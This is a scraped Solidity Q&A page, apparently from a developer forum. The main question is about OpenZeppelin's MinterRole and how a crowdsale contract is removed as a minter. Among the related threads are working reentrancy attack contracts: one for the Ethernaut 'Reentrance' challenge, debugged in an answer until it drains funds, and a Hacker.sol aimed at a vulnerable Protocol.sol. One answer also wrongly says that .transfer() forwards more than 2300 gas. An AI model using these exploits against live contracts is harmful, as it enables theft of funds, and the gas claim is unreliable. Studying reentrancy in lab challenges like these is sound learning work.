Questions on MinterRole contract in openzeppelin - ethereum

I am using the openzeppelin for creating the ICO contract. I am concerned about the MinterRole here. After I develop Token contract, I added the sale contract as a minter using "addMinter" function.
Question
After the sale is over
I do not see a way to remove the contract address as a minter. I see that "renounceMinter" will remove only the person's who is calling this method.
I understand even If I remove (or) not remove the contract address as a minter at that point (i.e., after the sale is over) the Sale contract will b defined in such a way that it will not work at all. is it safe even if we leave the contract address in the minter list ?
Why openzeppelin has designed the "MinterRole" contract with the "renounceMinter" function that can remove only the person who is calling that contract but the function "addMinter" can do this for others also ?
Code
SampleCrowdsale
contract SampleCrowdsale is FinalizableCrowdsale, MintedCrowdsale
MintedCrowdsale
contract MintedCrowdsale is Crowdsale {
constructor() internal {}
function _deliverTokens(
address beneficiary,
uint256 tokenAmount
)
internal
{
// Potentially dangerous assumption about the type of the token.
require(
ERC20Mintable(address(token())).mint(beneficiary, tokenAmount));
}
}
ERC20Mintable
contract ERC20Mintable is ERC20, MinterRole
MinterRole
pragma solidity ^0.4.24;
import "../Roles.sol";
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}

Related

Reentrancy attack implementation

I'm trying to solve the reentrancy attack ethernaut challenge.
Here is the solidity code for the target contract:
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
My plan is to:
Donate to the Reentrance contract from another contract.
Call the withdraw function from inside a function in the contract I created as well as from the fallback function in my contract. The goal is to execute
(bool result,) = msg.sender.call{value:_amount}("");
enough times to empty the Reentrance contract's balance while skipping the code underneath.
Here's what my contract looks like:
contract interactor{
address public target=0xd9145CCE52D386f254917e481eB44e9943F39138;
uint32 public i = 0;
constructor() payable {}
function calldonate(address _to,uint val) public payable
{
target.call{value:val}(abi.encodeWithSignature("donate(address)", _to));
}
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
fallback() external payable {
i++;
require(i<target.balance);
msg.sender.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
}
After deploying the two contracts in Remix, I'm unable to empty the Reentrance contract's balance. The variable i never reaches target.balance-1.
I can't see what's wrong with my code (very new to Solidity).
Any help would be appreciated.
a few changes in your Interactor contract
1-
Instead of hardcoded target address, pass it in constructor. so deploy the Reentrance in case you need to have clean state variables
address public target;
uint32 public i = 0;
constructor(address _target) payable {
target=_target;
}
2- In calldonate function I added require for debuggin
bytes memory payload=abi.encodeWithSignature("donate(address)",_to);
(bool success,)=target.call{value:val}(payload);
// just for debugging purpose
require(success,"target.call failed");
3- call calldonate function. send 10 wei, since you are withdrawing 1 wei, otherwise Remix will crust. I think to address must be the interceptor address itself. since in Reentract contract, balances mapping is updated with the msg.value you have to enter amount in the value as in the image
successfully sent 10 wei, balance is updated
4- you have to update the fallback function. .call method did not work I think that is because of call is a safe function. (or I had some bugs). so I updated the fallback
fallback() external payable {
i++;
require(i<target.balance,"error here");
// msg.sender.call(abi.encodeWithSignature("withdraw(uint)",1));
// target.call(abi.encodeWithSignature("withdraw(uint)",1));
Reentrance(payable(target)).withdraw(1);
}
5- callwithdraw function signature should be updated. Reentrance contract passes uint but you are uint256
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint)",1));
}
6- call callwithdraw function. Because you have this logic inside fallback
// when i=5, targetBalance would be 5
i++;
require(i<target.balance);
after you called it and check the balances you should see 5 left.

How to ".call" a function of another contract which uses ".call"

So, I'm learning advanced smart contract development. Two days ago, I learned about Reentrancy attacks and then I also created two contracts Protocol.sol (vulnerable contract) + Hacker.sol (attacker contract) to put my knowledge to the test. I was able to perform everything smoothly, I was importing the Protocol.sol (ABI + address) contract in my Hacker.sol. Today, I learned that we can call another smart contract function without importing the ABI, just using the contract address via ".call" & delegate call.
So, again to put my knowledge to the test, I used Protocol.sol & Hacker.sol.
Protocol.sol:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
contract Protocol {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public payable {
require(balances[msg.sender] > 0, "BRUH");
(bool success, ) = (msg.sender).call{value: 1 ether}("");
require(success);
balances[msg.sender] = 0;
}
function getBalance() public view returns(uint256) {
return address(this).balance;
}
}
Hacker.sol:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
contract Hacker {
function protocolDeposit(address protocol) public payable {
(bool success,) = protocol.call{value: msg.value}(abi.encodeWithSignature("deposit()"));
require(success, "call failed");
}
function attack(address protocol) public payable {
(bool hacked,) = protocol.call(abi.encodeWithSignature("withdraw()"));
require(hacked, "attack failed");
}
// fallback() external payable {
// (bool hacked,) = protocol.call(abi.encodeWithSignature("withdraw()"));
// require(hacked, "hack failed");
// }
function rektMoney() public view returns(uint256) {
return address(this).balance;
}
}
The problem, I am facing right now is calling withdraw() func. I am able to deposit ETH using Hacker.sol into Protocol.sol but I'm unable to call withdraw() using attack
Maybe it is because the withdraw func in the protocol.sol is also using call to transfer ETH.
How to ".call" a function of another contract which is using ".call" as well?
How I can solve this problem? Pls Help, Thanks in Advance
I need to implement receive or fallback function in order to receive money in the hacker contract.
fallback() external payable {}
Working now Alhumdulilah

Smart Contract withdraw function does not work and i get an error

the withdraw function gets me an error and it shows send and transfer are only available for object of type address payable and not address...
Confusing!!
solidity
//SPDX-License-Identifier: MIT
//this line of code was created to fund account
//show the value of fund in the address
pragma solidity ^0.8.0;
// the fundMe contract should be able to accept payment
function withdraw()payable public {
msg.sender.transfer(address(this).balance);
}
}
In Solidity, there is a difference between a normal address and a payable address so the correct way to send Ether to the sender would be payable(msg.sender).transfer(address(this).balance); this converts the normal address to a payable address. For more details take a look at this
I think up until solidity ^0.8.0, msg.sender was payable. withdraw function should be called only by the owner of the contract and you do not need to make it payable.
address payable private owner;
// set the owner when the contract is created
constructor(){
owner=payable(msg.sender)
}
function withdraw() public {
require(msg.sender==owner,"only contract owner can call this");
owner.transfer(address(this).balance);
}
However, using transfer is not safe. Because .transfer() sends more gas than 2300. Thus making it possible for reentrancy. A better way would be:
function withdraw() public {
require(msg.sender==owner,"only contract owner can call this");
(bool success, ) = owner.call{value:address(this).balance}("");
// success should be true
require(success,"Withdraw failed")
}

What is the difference between msg.sender and address(this)?

What is the difference between msg.sender and address(this) in the below code?
**pragma solidity ^0.8.0;
contract Escrow{
address public payer;
address payable public payee;
address public lawyer;
uint public amount;
constructor(
address _payer,
address payable _payee,
uint _amount) {
payer = _payer;
payee = _payee;
lawyer = msg.sender;
amount = _amount;
}
function deposit() payable public {
require(msg.sender == payer, 'Sender must be the payer');
require(address(this).balance <= amount, 'Cant send more than escrow amount');
}
function release() public {
require(address(this).balance == amount, 'cannot release funds before full amount is sent');
require(msg.sender == lawyer, 'only lawyer can release funds');
payee.transfer(amount);
}
function balanceOf() view public returns(uint) {
return address(this).balance;
}
}**
msg.sender is the address of the contract caller.
address(this) is the address of the smart contract itself.
They are both addresses in Solidity, but there is a big difference between msg.sender and address(this).
Allow me to use a simplified Smart Contract below to highlight the difference. All screenshots are from the Remix-Ethereum IDE (click here).
pragma solidity ^0.8.0;
contract Escrow {
address public owner;
constructor() {
owner = msg.sender;
}
function depositNothing() public view {
require(msg.sender == owner, 'You are not the owner!');
}
function balanceOf() view public returns(uint) {
return address(this).balance;
}
}
msg.sender
We are talking about the ACCOUNT address from which the function in the Smart Contract was called. For example, suppose in the Remix Ethereum (IDE), the Escrow Smart Contract was deployed from the ACCOUNT address:
0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
In that case, the State Variable owner will have the same address mentioned above. This is because the constructor function was called from that address.
Now, suppose we change the ACCOUNT address to:
0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
We then call the function depositNothing from the Smart Contract which was deployed earlier. You will get the following error, however:
This is because the msg.sender in the depositNothing function equates to the second ACCOUNT address. This obviously does not equate to the first ACCOUNT Address - owner. The second argument in the require function was therefore returned along with the error.
address(this)
This is not the same as the ACCOUNT Address discussed earlier. This strictly refers to the address given to the Smart Contract when it is deployed to the Ethereum blockchain.
This can be found here:
0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8

Send reward to a token holders in smart contracts

How can I send tokens to a token holders from inside a smart contract with solidity?
It means how can send reward to token holders?
Have a list of addresses and loop through them while calling native erc transfer method. You can't really iterate through a mapping without knowing the access keys (if you're thinking about pulling addresses from smth like balances).
I am assuming you want to send Ether to another Smart Contract or an EOA (e.g. Metamask). You can write a Smart Contract such as the below and use the Remix Ethereum (an IDE) to send Ether to an external party. Use the public function - transferEther.
//SPDX-License-Identifier: GPL-3.0
pragma solidity >= 0.6.0 < 0.9.0;
contract Sample{
address public owner;
constructor() {
owner = msg.sender;
}
receive() external payable {
}
fallback() external payable {
}
function getBalance() public view returns (uint){
return address(this).balance;
}
// this function is for sending the wei/ether OUT from this smart contract (address) to another contract/external account.
function transferEther(address payable recipient, uint amount) public returns(bool){
require(owner == msg.sender, "transfer failed because you are not the owner."); //
if (amount <= getBalance()) {
recipient.transfer(amount);
return true;
} else {
return false;
}
}
}